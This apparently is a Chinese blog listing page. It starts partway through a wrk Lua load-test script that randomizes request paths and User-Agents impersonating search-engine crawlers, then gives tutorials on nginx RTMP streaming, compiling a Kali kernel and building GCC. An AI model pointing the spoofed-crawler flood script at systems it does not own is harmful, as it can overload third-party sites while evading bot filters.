Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html", "Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko)Version/4.0 Mobile Safari/534.30; 360Spider", "Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; HaosouSpider", "Mozilla/5.0 (Linux; U; Android 4.3; zh-CN; SCH-N719 Build/JSS15J) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 YisouSpider/1.0.0 Mobile Safari/533.1", "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 likeMac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)", "Mozilla/5.0(compatible;Baiduspiderrender/2.0;+http://www.baidu.com/search/spider.html)", "Baiduspider-image+(+http://www.baidu.com/search/spider.htm)" } --随机UA列表结束 request = function() if (radua == 1) then math.randomseed(tostring(os.time()):reverse():sub(1, 7)) wrk.headers["User-Agent"] = ua[math.random(1,74)] else wrk.headers["User-Agent"] = "Powered by WRK" end --随机ua传递结束 if (radque==1)then uid = math.random(1, quemax) path = uri .. uid end --随机查询结束 --返回数据开始 return wrk.format(null,path,wrk.headers,null) end --随机请求结束
2021年01月30日
141 阅读
1 评论
0 点赞
2021-01-09
宝塔nginx搭建rtmp推流服务器
环境Linux centos 7.6 + Nginx1.安装Nginx这一步就不用多说了吧我是宝塔用户,这边进入到/www/server/nginx/src目录里面使用nginx -V查看当前的编译选项。2.安装Nginx的rtmp拓展nginx的rtmp拓展包github地址:https://github.com/arut/nginx-rtmp-module,可以使用git clone下拉或者直接下载我这边直接下载解压放到:/root下。Nginx安装rtmp拓展:3.编译在刚刚-V操作所输出的 ./configure arguents:之后的内容复制然后在后头添加:--add-module=/opt/module/nginx-rtmp-module在前头添加./configure如:(我这里有编译云锁的安全模块,可以删除)./configure --user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --add-module=/www/server/nginx/src/lua_nginx_module --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --with-openssl=/www/server/nginx/src/openssl --with-pcre=pcre-8.43 --with-http_v2_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-http_stub_status_module --with-http_ssl_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-cc-opt=-Wno-error --with-ld-opt=-ljemalloc --with-http_dav_module --add-module=/www/server/nginx/src/nginx-dav-ext-module --add-module=/root/nginx-plugin-master --add-module=/root/nginx-rtmp-module运行后没有错误的话执行 make -j8 (我这里是8个线程编译,可以根据具体机器的配置选配)make完成后将系统中原有的nginx用重新编译生成的nginx文件替换,替换后重启nginx使新编译nginx生效rm -rf /www/server/nginx/sbin/nginx cp objs/nginx /www/server/nginx/sbin/ service nginx restart4.配置Nginx的rtmp服务站点# 在文件底部添加下面内容: rtmp { server { listen 1935; #监听的端口 chunk_size 4000; application tv_file { live on; #开启实时 hls on; #开启hls hls_path /www/hls; #rtmp推流请求路径,文件存放路径 hls_fragment 5s; #每个TS文件包含5秒的视频内容 } } }另外切记,此段配置文件需要和http配置块同级,即不能将此段内容放在http{}内,否则无法启动且报错重启Nginx:nginx -s reload开放端口(没防火墙忽略此部)iptables -I INPUT -p tcp --dport 1938 -j ACCEPT附属步骤1:使用http-hls流(m3u8)(不需要此功能跳过这步)首先新建一个站点,在配置文件中添加类似这样的代码:add_header 'Access-Control-Allow-Origin' *; add_header 'Access-Control-Allow-Methods' GET; location /live { #error_page 404 =200 /nosign.m3u8; #可以取消注释上面的代码,稍作修改即可配置默认视频流 types { application/vnd.apple.mpegurl m3u8; video/mp2t ts; } alias /www/hls/; }这段配置文件将前一步生成的m3u8和ts文件以http的形式推送。可以再添加CDN进行分发,但注意缓存时间需要匹配,否则会出现视频流异常。附属步骤2:读取http-hls流(m3u8)(不需要此功能跳过这步)完成上面附属一之后,可以使用如下html代码读取播放此m3u8视频源<script src="https://www.silverdragon.cn/wp-content/themes/hestia/assets/js/hls.min.js"></script> <video id="video" class="wrap" controls="" poster="封面图片"></video> <script> var url = "你的hls地址"; if(Hls.isSupported()) { var video = document.getElementById('video'); var hls = new Hls(); hls.loadSource(url); hls.attachMedia(video); hls.on(Hls.Events.MANIFEST_PARSED,function() { video.play(); }); } </script>5、推拉流测试推流。下载OBS Studio,官网下载太慢了,其他下载地址:https://pc.qq.com/detail/4/detail_23604.html安装完成,打开软件,在控件版块点击设置,左边的导航选择流,然后流类型选择自定义流媒体服务器,url输入rtmp://你的IP:1935/tv_file(就是刚刚配置的那个),流名称随便设置一个在场景里头随便添加个视频或者什么七七八八的设置完成点击推流。在服务器就看到m3u8文件的生成,推流成功。(然后挂到后台)这边强烈建议调整为动态码率或者其他什么的,毕竟自己的服务器带宽小,一不小心就跑满了6、拉流。测试拉流下载VLC,官方也是慢的要死,可以普通下载:https://pc.qq.com/detail/9/detail_569.html安装后打开url输入rtmp://你的IP:1935/tv_file/流名称(秘钥)或者使用刚刚配置的hls流,输入http://你的域名或IP/live/流名称.m3u8拉取正常根据本教程可以做出类似本站https://www.silverdragon.cn/?page_id=2339的功能。
2021年01月09日
271 阅读
1 评论
0 点赞
2020-11-29
Kali下载编译安装Linux5.9.11内核
1.下载最新的Linux内核小版本号为偶数是稳定版本,我们选择稳定版本下载。内核官方网站 https://www.kernel.org/,点击那个黄色的按钮就开始下载了2.环境配置在正式编译前需要安装部分软件。sudo apt update && sudo apt upgrade sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison 出现安装错误的可以分开安装3.解压缩下载完成之后,解压缩刚刚下载好的内核压缩包。解压后大概1G,提前预留充足空间。解压之后进入目录。可以先提前看下新版内核有什么变化。wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.9.11.tar.xz tar -zxf linux-5.9.11.tar.xz cd linux-5.9.11可以先用uname -r自行查看下当前内核版本4.配置内核在正式编译内核之前,我们首先必须配置需要包含哪些模块。实际上,有一些非常简单的方式来配置。使用一个命令,你能拷贝当前内核的配置文件,然后使用可靠的 menuconfig 命令来做任何必要的更改。cp /boot/config-$(uname -r) .config上述命令的意思就是拷贝对应当前内核配置到当前目录下并重命名为.config(文件名前加.意思为隐藏文件)。之后在解压后得内核目录里执行命令make menuconfig在这里可以选择启用或者禁用一些模块。如果你不知道该如何选择的话,默认退出即可。4.编译和安装退出menuconfig后,在命令行中输入make -j49命令即可开始编译。-j49意思是并发执行,可以提高速度,一般保险情况 下不要多于CPU核数。为了加快编译那就多开几个线程吧,可以是CPU内核数+1,比如四十八核就-j49。这个命令的执行会耗费很长时间。这里用的gcc版本是10.2在前面的文章中有安装好的 https://www.silverdragon.cn/?p=2019漫长的等待 笔者的使用宿主机分配了48个vCPU 只用了不到5分钟 实际机器配置低的可能需要更久如果抛出“没有规则可制作目标debian/certs/debian-uefi-certs.pem由certs/x509_certificate_list需求停止”这个错误 只需要sudo vim .config将CONFIG_SYSTEM_TRUSTED_KEYS="certs/x509_certificate_list"改成CONFIG_SYSTEM_TRUSTED_KEYS=""即可继续make编译编译完成之后首先安装模块,命令为:sudo make modules_install其次安装内核,命令为:sudo make install5.完成后启用内核作为引导输入下列命令将内核作为引导,将数字更改为你自己编译的版本号:sudo update-initramfs -c -k 5.9.11下面更新一下grub:sudo update-grub6.检查内核是否安装成功之后重启即可在启动界面选择需要启动的内核5.9.11。确认下内核版本参考资料:https://blog.csdn.net/qq_37748570/article/details/108118284
2020年11月29日
179 阅读
1 评论
0 点赞
2020-11-29
Kali中编译安装GCC10.2.0
一切都和其他源码安装软件是一样的:一、下载解压源代码:mkdir gcc10 && cd gcc10 wget http://ftp.gnu.org/gnu/gcc/gcc-10.2.0/gcc-10.2.0.tar.gz tar xvf gcc-10.2.0.tar.gz二、配置安装路径:sudo vim /etc/profile export PATH="/usr/local/gcc-10.2/bin:$PATH"三、源码自动配置:cd gcc-10.2.0/ ./contrib/download_prerequisites正常的话,会下载几个包,然后系统会提示gmp-6.1.0.tar.bz2: 成功 mpfr-3.1.4.tar.bz2: 成功 mpc-1.0.3.tar.gz: 成功 isl-0.18.tar.bz2: 成功 All prerequisites downloaded successfully. 四、准备编译:cd .. mkdir temp_gcc10.2 && cd temp_gcc10.2 ../gcc-10.2.0/configure --prefix=/usr/local/gcc-10.2 --enable-threads=posix --disable-checking --disable-multilib //允许多线程 make //当然可以加个-j多线程编译 这里生成的目录有6-8G sudo make install不出意外的话,执行make后,就开始编译了大概十几分钟,半个小时这样就完成了九、做个链接:which gcc //查看旧安装目录备份旧版本gcc 替换新版本mv /usr/bin/gcc /usr/bin/gcc_old mv /usr/bin/g++ /usr/bin/g++_old ln -s /usr/local/gcc-10.2/bin/gcc /usr/bin/gcc ln -s /usr/local/gcc-10.2/bin/g++ /usr/bin/g++更换成功,编译一个helloworld试试正常
2020年11月29日
210 阅读
0 评论
0 点赞